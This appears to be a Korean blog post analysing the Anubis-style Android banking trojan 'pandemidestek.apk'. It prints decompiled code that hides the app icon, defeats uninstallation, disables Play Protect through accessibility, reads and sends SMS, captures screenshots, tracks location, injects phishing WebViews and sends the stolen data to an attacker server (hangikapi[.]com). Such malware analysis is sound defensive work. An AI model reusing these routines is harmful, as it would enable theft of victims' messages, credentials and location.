Name | pandemidestek.apk |
SHA256 | 231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec |
Virustotal | https://www.virustotal.com/gui/file/231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec/detection |
Malware Type | banking malware |
공개 날짜 | 2020.06.12 |
애플리케이션을 실행하면, 접근성 설정 창이 열린다. toast 메시지로 pandemidestek 앱에 접근성 권한을 부여할 것을 보여준다. 만약 해당 앱에 대해 접근성 권한을 부여하지 않고 창에서 벗어나게 되면 다시 설정 창을 보여준다.
시작 프로그램에서 앱 아이콘은 숨겨진다. 따라서 사용자는 앱을 다시 시작할 수 없다.
pandemidestek 앱의 런타님 동작을 확인하려면 접근설 권한 부여를 해서 접근성 설정 창이 다시 나타나지 않도록 해야 한다. 접근성 설정에서 pandemidestek 앱에 대한 접근성 권한을 없애려고 하면 해당 설정 창은 닫힌다.
설정에서 앱을 삭제하려고 하면 해당 설정 창이 닫힌다.
많은 permission을 사용하고 있다.
이것은 많은 capability를 가지고 있음을 의미한다.
여러 악성 행위를 수행하기 위해 여러 권한을 사용하고 있다.
해당 악성 앱에서는 15개의 activity를 사용한다.
grep -oh -e "L.*;" -R . | sort -u > ../used_classes.txt
naqsl.ebxcb.exu.ifdf.ifdf()
package naqsl.ebxcb.exu;
public class ifdf {
/* renamed from: byte reason: not valid java name */
public String f469byte = "<urlImage>";
/* renamed from: case reason: not valid java name */
public boolean f470case = true;
/* renamed from: char reason: not valid java name */
public int f471char = 15;
/* renamed from: else reason: not valid java name */
public int f472else = 0;
/* renamed from: fddo reason: collision with root package name */
public final String[] f601fddo = "Eylem::gerek::prokaz::ne::disarida::kornax::ht::nealaka.::alakasiz::iceriyor::gik::wingx,::aydinlatma,::fakir,::yanisi,::api::okuru,::karsiz,::tamcoz,::gunessiz,::tp::ve::proxa::azindan.::nemkqs::nereye::the::gunes::://::affects::.com::the::havadane.::klimali::soylemek::us::nedirya::cocuksu::of::han::havaq::daimali::nedirki::icerides::biri::bolgesi::at::farksizki::zamaninda::of::the::yilin.::sanslar::in::havadaqi::can::efektli::bizim::moodumuz.::biz::kulak::farkliliklar::kiyafet::ve::do::farksizlar::dusunce::in::farksiz::havadane::kondisyon.::bizden::secim::farkli::foods::in::different::sezonlari,::gibi::sicak::dondurma::in::the::yazin,::veya".split("::");
/* renamed from: for reason: not valid java name */
public final String f473for = this.ifdf;
/* renamed from: goto reason: not valid java name */
public int f474goto = 1;
public final String ifdf = (this.f601fddo[6] + this.f601fddo[20] + this.f601fddo[28] + this.f601fddo[39] + this.f601fddo[10] + this.f601fddo[15] + this.f601fddo[30]);
/* renamed from: int reason: not valid java name */
public final String[] f475int = "Eylem::gerek::prokaz::ne::disarida::kornax::ht::nealaka.::alakasiz::iceriyor::kac::wingx,::aydinlatma,::fakir,::yanisi,::aa::okuru,::karsiz,::tamcoz,::gunessiz,::tp::ve::proxa::azindan.::nemkqs::nereye::the::gunes::://::affects::.com::the::havadane.::klimali::soylemek::us::nedirya::cocuksu::of::ya::/tx.php::havaq::daimali::nedirki::icerides::biri::bolgesi::at::farksizki::zamaninda::of::the::yilin.::sanslar::in::havadaqi::can::efektli::bizim::moodumuz.::biz::kulak::farkliliklar::kiyafet::ve::do::farksizlar::dusunce::in::farksiz::havadane::kondisyon.::bizden::secim::farkli::foods::in::different::sezonlari,::gibi::sicak::dondurma::in::the::yazin,::veya".split("::");
/* renamed from: new reason: not valid java name */
public final String f476new = (this.f475int[6] + this.f475int[20] + this.f475int[28] + this.f475int[39] + this.f475int[10] + this.f475int[15] + this.f475int[30] + this.f475int[40]);
/* renamed from: try reason: not valid java name */
public boolean f477try = false;
}
악성코드는 애플리케이션에서 수집한 데이터를 특정 url로 전송한다.
해당 url을 알게 된다면 해당 url을 shutdown 시킬 수 있기 때문에 해당 url 정보는 민감한 정보이다. 따라서 Java 코드 상에서 해당 url을 생성하는 코드를 난독화했고, 해당 url을 naqsl.ebxcb.exu.ifdf.ifdf() 함수에서 난독화된 것을 푸는 것을 확인할 수 있다.
url은 다음과 같다:
http://hangikapi[.]com
http://hangikapi[.]com/tx.php
MainActivity.class
public class MainActivity extends Activity {
[...]
public void onCreate(Bundle bundle) {
[...]
ComponentName componentName = new ComponentName((Context)this, MainActivity.class);
getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class), 2, 1);
setComponentEnabledSetting 함수 호출을 한다.
public abstract void setComponentEnabledSetting (ComponentName componentName,
int newState,
int flags)
COMPONENT_ENABLED_STATE_DISABLED는 setComponentEnabledSetting 함수의 두 번째 인자인 newState로, Constant 값 2에 해당한다. 따라서 해당 악성 앱에서는 newState 값이 2로 설정되어 있으므로 COMPONENT_ENABLED_STATE_DISABLED이 설정되고, COMPONENT_ENABLED_STATE_DISABLED는 manifest와 상관없이 애플리케이션 아이콘을 숨긴다.
악성 앱은 코드에서 하드코딩된 스트링을 난독화하여 Java 코드에서는 난독화된 스트링을 확인할 수 있다.
public static String m182int(String str){
try{
return new String(Base64.decode(str, 0), "UTF-8");
}catch(Exception e){
e.printStackTrace();
return "null";
}
}
런타임에는 naqsl.ebxcb.exu.Cint.int() 함수를 사용하여 하드코딩된 스트링을 android.util.Base64.decode() 함수를 통해 복호화하여 사용한다.
(JD-GUI를 사용해서 Cint() 함수를 포함한 여러 Java 코드들을 확인할 수 없어서, jadx를 사용했다.)
Screenshot 사용 확인 (API)
koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep MediaProjection
Landroid/media/projection/MediaProjection$Callback;
Landroid/media/projection/MediaProjection;
Landroid/media/projection/MediaProjection;->createVirtualDisplay(Ljava/lang/String;IIIILandroid/view/Surface;Landroid/hardware/display/VirtualDisplay$Callback;Landroid/os/Handler;)Landroid/hardware/display/VirtualDisplay;
Landroid/media/projection/MediaProjection;->registerCallback(Landroid/media/projection/MediaProjection$Callback;Landroid/os/Handler;
Landroid/media/projection/MediaProjectionManager;
Landroid/media/projection/MediaProjectionManager;->createScreenCaptureIntent()Landroid/content/Intent;
Landroid/media/projection/MediaProjectionManager;->getMediaProjection(ILandroid/content/Intent;)Landroid/media/projection/MediaProjection;
Lnaqsl/ebxcb/exu/API/Screenshot/ActivityScreenshot;->fddo:Landroid/media/projection/MediaProjectionManager;
Lnaqsl/ebxcb/exu/API/Screenshot/ServiceScreenshot;->fddo:Landroid/media/projection/MediaProjection;
Lnaqsl/ebxcb/exu/API/Screenshot/ServiceScreenshot;->new:Landroid/media/projection/MediaProjectionManager;
public class ServiceScreenshot extends Service {
[...]
class ifdf extends Thread {
[...]
public void run() {
File file = new File(ServiceScreenshot.this.getExternalFilesDir(null), "screenshot.jpg");
try {
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(this.f555fddo);
fileOutputStream.flush();
fileOutputStream.getFD().sync();
fileOutputStream.close();
MediaScannerConnection.scanFile(serviceScreenshot.this, new String[]{file.getAbsolutePath()}, new String[]{"image/jpg"}, null);
} catch(
}
}
}
naqsl.ebxcb.exu.API.Screenshot.ActivityScreenshotActivity 내에서 android.media.projection.MediaProjectionManager.createScreenCaptureIntent() 함수를 사용한다. screenshot.jpg 파일이름로 screenshot을 저장한다.
//
public class ServiceSendRequestImageVNC extends IntentService {
[...]
public void onHandleIntent(Intent intent) {
[...]
while (true) {
[...]
if(r0.fddo(this, "vnc").equals("stop")) {
break;
} else if (r0.fddo(this, "websocket").equals("")) {
break;
} else {
byte[] ifdf = Cint.ifdf(new File(getExternalFilesDir(null), "screenshot.jpg"));
r0.fddo(this, ifdf, this.f556fddo + ".jpg");
this.f556fddo = this.f556fddo + 1;
if(this.f556fddo >= 11)
this.f556fddo = 0;
}
}
stopService(intent);
}
}
naqsl.ebxcb.exu.API.Screenshot.ServiceSendRequestImageVNC.onHandleIntent 함수에서는 ServiceScreenshot에서 저장한 screenshot.jpg 파일을 디스크에 적고, 웹서버에 데이터를 보내기 위해 naqsl.ebxcb.exu.Cint.fddo() 함수를 호출한다.
naqsl.ebxcb.exu.Cint.fddo() 함수는 타겟 url을 생성하고, java.net.HttpURLConnection에 파라미터를 전달한 후 dataOutputStream.write 함수 호출을 통해 이미지 데이터를 웹서버로 전송한다.
SMS 메시지를 읽기 위해 데이터베이스에 쿼리를 날리고 그 결과를 Cursor에 담는 것을 확인할 수 있다.
naqsl.ebxcb.exu.Activity.ActivityGetSMS.onCreate에서는 쿼리하기 위한 어떤 데이터베이스 테이블(sms/sent, sms/inbox, sms/draft을 선택할지 정의한다.
이후 naqsl.ebxcb.exu.Activity.ActivityGetSMS.fddo 함수를 호출하여 ContentResolver를 검색하고 쿼리를 실행하여 원하는 SMS 데이터베이스 정보를 Cursor에 담는다. 스트링으로 결과를 변환해서 fddo 함수 리턴값으로 naqsl.ebxcb.exu.Activity.ActivityGetSMS.onCreate에 반환된다. onCreate 함수 내 r122.fddo에서 세 번째 인자가 SMS 메시지에 해당한다.
SMS 전송 확인 (API)
koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep SmsManager
Landroid/telephony/SmsManager;->divideMessage(Ljava/lang/String;)Ljava/util/ArrayList;
Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/util/ArrayList;Ljava/util/ArrayList;Ljava/util/ArrayList;
naqsl.ebxcb.exu.Activity.ActivityGetNumber.fddo() 함수에서 데이터베이스 쿼리를 통해 사용자 디바이스 내 phone book에서 전화번호를 가져온다. 이후
각 phone book에 대해 naqsl.ebxcb.exu.Cint.m199int(Contextcontext, String str, String str2) 함수를 호출한다.
naqsl.ebxcb.exu.Cint.m199int(Contextcontext, String str, String str2) 함수에서는 sendMultipartTextMessage 함수를 호출하여 multi-part 텍스트를 SMS로 첫 번째 인자에 해당하는 전화번호에 보낸다.
naqsl.ebxcb.exu.Activity.ActivityPlayProtect.onCreate 함수에서는 Google Play Protect 화면을 오픈한다.
public void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent r24) {
[...]
[...]
r4.performAction(r3) // Catch:{ Exception -> 0x0568 }
[...]
java.lang.String r8 =
"ZkNCRWFYTmhZbXhsSUZCc1lYa2dVS" +
"Ep2ZEdWamRDQkJZM1JwYjI0Z1BDQk" +
"dhVzVoYkNCVGRHVndJRDRnUTA5TlV" +
"FeEZWRVZFSVNCOA=="
\\| Disable Play Protect Action < Final Step > COMPLETED! |
java.lang.String r8 = naqsl.ebxcb.exu.Cint.m430int(r8)
java.lang.String r8 = naqsl.ebxcb.exu.Cint.m430int(r8)
r9.append(r8) // Catch:{ Exception -> 0x056e }
java.lang.String r8 = r9.toString() // Catch:{ Exception -> 0x056e }
java.lang.String r5 = r5.m439for(r8) // Catch:{ Exception -> 0x056e }
r11.append(r5) // Catch:{ Exception -> 0x056e }
java.lang.String r5 = r11.toString() // Catch:{ Exception -> 0x056e }
r3.fddo(r0, r4, r5) // Catch:{ Exception -> 0x056e }
r23.fddo() // Catch:{ Exception -> 0x056e }
AccessibilityService에서 AccessibilityEvent를 전달받으면, 악성코드는 Google Play Protect 세팅이 오픈된 것을 탐지한 후 android.view.accessibility.AccessibilityNodeInfo.performAction() 함수를 통해 Google Play Protect를 비활성화한 후, naqsl.ebxcb.exu.ServiceAccessibility.fddo() 함수 호출을 통해 해당 윈도우 창을 종료한다.
앱은 android.accessibilityservice.AccessibilityService을 설정할 수 있다.
앱에 대한 접근성 권한을 부여하면 악성코드는 다음을 수행할 수 있다.
public void fddo() {
if(Build.VERSION.SDK_INT >= 16) {
performGlobalAction(1);
performGlobalAction(1);
performGlobalAction(1);
performGlobalAction(2);
}
if(Build.VERSION.SDK_INT < 16) {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.setFlags(268435456);
startActivity(intent);
}
}
performGlobalAction(1)를 세번 실행하여 시스템 창을 닫고, performGlobalAction(2)를 실행하여 홈 화면으로 이동한다. 또는 android.app.Activity.startActivity() 를 호출하여
Accessibility Service가 방지하는 사용자 행위
public void onHandleIntent(Intent intent) {
[...]
while (true) {
[...]
try {
TimeUnit.MILLISECONDS.sleep((long) this.f438for);
} catch (InterruptedException e) {
e.printStackTrace();
}
[...]
if (!inKeyguardRestrictedInputMode) {
boolean z = intR.m449new(this);
if (((!z && this.f593fddo.f474goto == 1) || (!z && contains)) && !intR.m449new(this)) {
try {
Intent intent2 = new Intent(this, ActivityAccessibility.class);
intent2.addFlags(268435456);
intent2.addFlags(1073741824);
startActivity(intent2);
[...]
if (i4 == 0 || i4 == 6) {
try {
startService(new Intent(this, ServiceToast.class));
} catch (Exception unused4) {
[...]
naqsl.ebxcb.exu.ServiceGeolocationGPS와 naqsl.ebxcb.exu.ServiceGeolocationNetwork에서는 디바이스는 위치를 추적하는 서비스이다. 두 서비스 모두 android.location.LocationListener를 통해 android.permission.ACCESS_FINE_LOCATION 권한 요청을 한다.
이후 requestLocationUpdates를 호출하여 결과를 ifdf에 전달한다. ifdf는 수집한 데이터를 웹서버에 전달한다.
ifdf 함수는 위치 정보를 스트링으로 인코딩하고 naqsl.ebxcb.exu.Cint.fddo 함수로 전달한다.
java.lang.String r12 = "VkZJPQ=="
java.lang.String r12 = naqsl.ebxcb.exu.Cint.m430int(r12)
java.lang.String r12 = naqsl.ebxcb.exu.Cint.m430int(r12)
boolean r12 = r11.contains(r12) // Catch:{ Exception -> 0x0d76 }
if (r12 == 0) goto L_0x0cbe
// GÜVENLİK BİRİMİ
java.lang.String r11 = "UjhPY1ZrVk9UTVN3U3lCQ3hMQlN4TEJOeExBPQ=="
java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)
java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)
// Sayın müşterimiz lütfen hesabınızı onaylayın aksi takdirde bloke edilecektir.
java.lang.String r12 =
"VTJGNXhMRnVJRzNEdk1XZmRHVnlhVzFwZWlCc3c3eDBabVZ1SUdobGMyRml4T" +
"EZ1eExGNnhMRWdiMjVoZVd4aGVjU3hiaUJoYTNOcElIUmhhMlJwY21SbElHSn" +
"NiMnRsSUdWa2FXeGxZMlZyZEdseUxnPT0="
goto L_0x0c7a
[...]
L_0x0d34: // default of switch-case
// Urgent message!
java.lang.String r11 = "VlhKblpXNTBJRzFsYzNOaFoyVWg="
java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11) // Catch:{ Exception -> 0x0d76 }
java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)
// Confirm your account
java.lang.String r12 = "UTI5dVptbHliU0I1YjNWeUlHRmpZMjkxYm5RPQ=="
goto L_0x0c7a
L_0x0d42:
android.content.Intent r13 = new android.content.Intent
java.lang.Class<naqsl.ebxcb.exu.ServiceModuleNotification> r14 =
naqsl.ebxcb.exu.ServiceModuleNotification.class
r13.<init>(r0, r14) // Catch:{ Exception -> 0x0d76 }
java.lang.String r14 = "WVhCd2JtRnRaUT09" // appname
[...]
android.content.Intent r5 = r13.putExtra(r14, r5)
java.lang.String r13 = "ZEdsMGJHVT0=" // title
[...]
android.content.Intent r5 = r5.putExtra(r13, r11)
java.lang.String r11 = "ZEdWNGRBPT0=" // text
[...]
android.content.Intent r5 = r5.putExtra(r11, r12)
r0.startService(r5) // Catch:{ Exception -> 0x0d76 }
다른 앱에 대해 악성 명령어를 입력해서 naqsl.ebxcb.exu.ServiceCommands.fddo() 함수에서 명령어를 파싱하고 명령어에 해당하는 injection 수행이 가능하다. naqsl.ebxcb.exu.ServiceCommands.fddo() 함수에서 디바이스 언어와 매칭되는 하드코딩된 스트링을 검색하고, android.app.Context.startService() 메소드 호출을 통해 naqsl.ebxcb.exu.ServiceModuleNotification 서비스를 시작한다.
public void onHandleIntent(Intent intent) {
String stringExtra = intent.getStringExtra(Cint.m182int("YXBwbmFtZQ==")); // appname
String stringExtra2 = intent.getStringExtra(Cint.m182int("dGl0bGU=")); // title
String stringExtra3 = intent.getStringExtra(Cint.m182int("dGV4dA==")); // text
String fddo2 = this.f586fddo.fddo(this, Cint.m182int("dXJs")); // url
Cint r0 = this.f586fddo;
String str = Cint.m182int("UFVTSA=="); // PUSH
r0.fddo(str, Cint.m182int("MTog") + fddo2 + Cint.m182int("L2ljb24v") + stringExtra + Cint.m182int("LnBuZw=="));
StringBuilder sb = new StringBuilder();
sb.append(fddo2);
sb.append(Cint.m182int("L2ljb24v")); // /icon/
sb.append(stringExtra);
sb.append(Cint.m182int("LnBuZw==")); // .png
new fddo(this, stringExtra2, stringExtra3, sb.toString(), stringExtra).execute(new String[0]);
}
naqsl.ebxcb.exu.ServiceModuleNotification.onHandleIntent 함수에서 f586fddo.fddo 함수를 사용해서 타겟 url 생성에 필요한 스트링을 파싱하면
http://hangikapi.com/icon/appname.png url이 추출된다.
public fddo(Context context, String str, String str2, String str3, String str4) {
this.f587fddo = context;
this.ifdf = str;
this.f420for = str2;
this.f421int = str3;
this.f422new = str4;
Cint r2 = ServiceModuleNotification.this.ifdf;
String str5 = Cint.m182int("RVJST1I="); // ERROR
Cint r1 = ServiceModuleNotification.this.ifdf;
Log.e(str5, Cint.m182int("Mg==")); // 2
}
이후 Async Task를 위해 naqsl.ebxcb.exu.ServiceModuleNotification.fddo를 실행한다. Async Task를 통해 웹서버로부터 아이콘 자원을 패치한다. AsyncTask는 백그라운드에서 스레드를 실행하면서 UI 스레드에 결과가 생성되는 것을 의미한다.
public String fddo(Context context, String str) {
if (f478for == null) {
f478for = context.getSharedPreferences(m182int("c2V0"), 0); // set
f478for.edit();
}
String string = f478for.getString(str, null);
return (str.contains(m182int("dXJsSW5q")) || str.contains("urls")) ? ifdf(string) : string; // urlInj /
}
naqsl.ebxcb.exu.Cint.fddo() 함수에서 웹서버의 url을 읽는다.
public Bitmap doInBackground(String... strArr) {
ServiceModuleNotification serviceModuleNotification = ServiceModuleNotification.this;
Cint r0 = serviceModuleNotification.f586fddo;
Cint r3 = serviceModuleNotification.ifdf;
String str = Cint.m182int("UFVTSA==");
Cint r1 = ServiceModuleNotification.this.ifdf;
r0.fddo(str, Cint.m182int("Mw=="));
try {
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.f421int).openConnection();
httpURLConnection.setDoInput(true);
httpURLConnection.connect();
return BitmapFactory.decodeStream(httpURLConnection.getInputStream());
} catch (IOException | MalformedURLException unused) {
return null;
}
}
naqsl.ebxcb.exu.ServiceModuleNotification.doInBackground() 함수에서는 java.net.HttpURLConnection 클래스를 사용해서 타겟 앱에 대한 아이콘을 패치한다.
public void onPostExecute(Bitmap bitmap) {
super.onPostExecute(bitmap);
try {
Cint r0 = ServiceModuleNotification.this.f586fddo;
Context context = this.f587fddo;
Cint r2 = ServiceModuleNotification.this.ifdf;
r0.ifdf(context, Cint.m182int("c3RyX3B1c2hfZmlzaA=="), this.f422new);
Intent intent = new Intent(ServiceModuleNotification.this, ActivityPushInjection.class);
Cint r1 = ServiceModuleNotification.this.ifdf;
Intent addFlags = intent.putExtra(Cint.m182int("c3Ry"), this.f422new).addFlags(268435456).addFlags(8388608).addFlags(1073741824);
if (Build.VERSION.SDK_INT <= 25) {
Notification.Builder defaults = new Notification.Builder(this.f587fddo).setContentIntent(PendingIntent.getActivity(this.f587fddo, 100, addFlags, 1073741824)).setContentTitle(this.ifdf).setContentText(this.f420for).setVibrate(new long[]{1000, 1000, 1000, 1000, 1000}).setPriority(1).setDefaults(2).setDefaults(1).setDefaults(4);
Resources resources = this.f587fddo.getResources();
StringBuilder sb = new StringBuilder();
sb.append(this.f587fddo.getPackageName());
Cint r5 = ServiceModuleNotification.this.ifdf;
sb.append(Cint.m182int("Om1pcG1hcC9pY19sYXVuY2hlcg=="));
Notification build = defaults.setSmallIcon(resources.getIdentifier(sb.toString(), null, null)).setLargeIcon(bitmap).build();
build.flags |= 16;
((NotificationManager) this.f587fddo.getSystemService("notification")).notify(1, build);
return;
}
ServiceModuleNotification.this.f586fddo.fddo(this.f587fddo, addFlags, bitmap, this.ifdf, this.f420for);
} catch (Exception unused) {
}
}
}
naqsl.ebxcb.exu.ServiceModuleNotification.onPostExecute() 함수에서는 패치된 이미지를 사용하여 알림을 생성한다. 해당 알림은 시스템 내 설치된 다른 앱에게 간다.
public void onStart() {
super.onStart();
this.ifdf.ifdf(this, "name", "true");
String fddo2 = this.ifdf.fddo(this, "str_push_fish");
String str = "";
if (!fddo2.equals(str) || !fddo2.equals(null)) {
this.f565fddo.getClass();
try {
str = this.ifdf.fddo(this, "urlInj");
} catch (Exception unused) {
}
WebView webView = new WebView(this);
webView.getSettings().setJavaScriptEnabled(true);
webView.setScrollBarStyle(0);
webView.setWebViewClient(new Cfor());
webView.setWebChromeClient(new ifdf());
String country = Resources.getSystem().getConfiguration().locale.getCountry();
webView.loadUrl(str + "/fafa.php?f=" + fddo2 + "&p=" + this.ifdf.fddo(this) + "|" + country.toLowerCase());
setContentView(webView);
Cint r2 = this.ifdf;
StringBuilder sb = new StringBuilder();
sb.append("p=");
Cint r4 = this.ifdf;
sb.append(r4.m191for(this.ifdf.fddo(this) + "|Start injection " + fddo2 + "|"));
r2.fddo(this, "4", sb.toString());
}
}
다른 앱에서 알림 창을 누르게 되면, naqsl.ebxcb.exu.Acitivity.ActivityPushInjection 액티비티가 나타난다.
naqsl.ebxcb.exu.Acitivity.ActivityPushInjection.onStart() 함수에서는 android.view.webView 인스턴스를 생성하고 loadUrl을 실행하여 타겟 웹페이지가 로드되도록 url을 로드한다.
다른 앱에 악성 Activity를 inject할 수 있다.
naqsl.ebxcb.exu.ServiceInjections 서비스에서 naqsl.ebxcb.exu.ServiceInjections.ifdf() 함수에서 android.app.ActivityManager.getRunningTasks() 함수와 android.app.ActivityManager.getRunningAppProcesses() 함수를 통해 현재 실행 중인 앱을 알아내고, 실행 중인 앱에 대해 악성 Activity를 inject한다. 해당 함수들은 Android 5 이후로는 deprecated 되어 Android 5 이후 버전을 사용하는 프로세스에 대한 정보는 확인할 수 없다.
naqsl.ebxcb.exu.Activity.ActivityInjection 에서는 Webview.loadUrl 함수를 통해 악성 url을 로드하여 다른 희생자에 공격할 수 있도록 한다.
public void run() {
[...]
// com.imo.android.imoim,com.twitter.android
String str2 = "WTI5dExtbHRieTVoYm1SeWIybGtMbWx0Y" +
"jJsdExHTnZiUzUwZDJsMGRHVnlMbUZ1WkhKdmFXUT0=";
if (str.contains(Cint.m430int(Cint.m430int(str2)))) {
Cint intR2 = ServiceAccessibility.this.ifdf;
String str3 = Cint.m430int(Cint.m430int(str2));
Cint intR3 = ServiceAccessibility.this.ifdf;
// com.imo.android.imoim,com.twitter.android,com.android.vending
str = str.replace(str3, Cint.m430int(Cint.m430int(
"WTI5dExtbHRieTVoYm1SeWIybGtMbWx0YjJsdExHT" +
"nZiUzUwZDJsMGRHVnlMbUZ1WkhKdmFXUXNZMjl0TG" +
"1GdVpISnZhV1F1ZG1WdVpHbHVadz09")));
}
[...] ServiceAccessibility.this.getSystemService("keyguard"))
.inKeyguardRestrictedInputMode()) {
try {
Intent intent = new Intent(this.ifdf, ActivityInjection.class);
[...]
ServiceAccessibility.this.startActivity(putExtra);
naqsl.ebxcb.exu.ServiceAccessibility$fddo.run()는 스크린에서 공격할 타겟 앱이 있으면 해당 앱에 대해 naqsl.ebxcb.exu.Activity.ActivityInjection을 수행한다.
naqsl.ebxcb.exu.Activity.ActivityStartUSSD 액티비티는 naqsl.ebxcb.exu.Activity.ActivityStartUSSD.onCreate() 함수에서 android.intent.action.CALL 행위를 하는 intent를 생성하여 USSD 코드를 실행한다.
USSD(Unstructured Supplementary Services Data) 코드
koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep DexClassLoader
Ldalvik/system/DexClassLoader;
Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;
Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
API를 확인해보면, 악성 앱은 DexClassLoader를 사용하여 런타님에 class 파일을 로드한다. 해당 기능은 exploit (root exploit) 코드를 로드하는데 사용할 수 있다.
Android Device Rooting (Magisk) (0) | 2021.09.09 |
---|---|
[2020 Samsung CTF] Vault 101 (Android Reversing) (0) | 2021.08.02 |
[Google CTF 2020] android (0) | 2021.07.21 |
[Android Malware] CovidLock analysis (0) | 2021.07.19 |
[Android Reversing] Android Pasteboard vulnerability (InsecureBankv2, 안드로이드 클립보드 취약점) (1) | 2021.07.06 |